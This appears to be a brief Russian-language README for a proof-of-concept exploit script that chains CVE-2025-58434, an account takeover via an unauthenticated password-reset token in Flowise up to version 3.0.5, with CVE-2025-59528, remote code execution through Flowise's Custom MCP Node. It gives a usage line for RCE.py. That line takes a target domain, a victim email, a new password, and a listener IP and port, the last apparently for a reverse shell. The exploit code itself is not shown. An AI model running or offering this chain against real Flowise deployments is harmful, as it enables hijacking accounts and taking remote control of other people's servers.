CVE-2025-58434_CVE-2025-59528 PoC-скрипт

CVE-2025-58434 Flowise <= 3.0.5 и более ранние версии позволяют захват учетной записи через неаутентифицированный токен сброса пароля. CVE-2025-59528 flowiseAI Custom MCP Node удаленное выполнение кода.

Использование:

python3 RCE.py -d "example.com" -e "[email protected]" -np "Password@a123" -lh <IP_addr> -lp <Listening_port>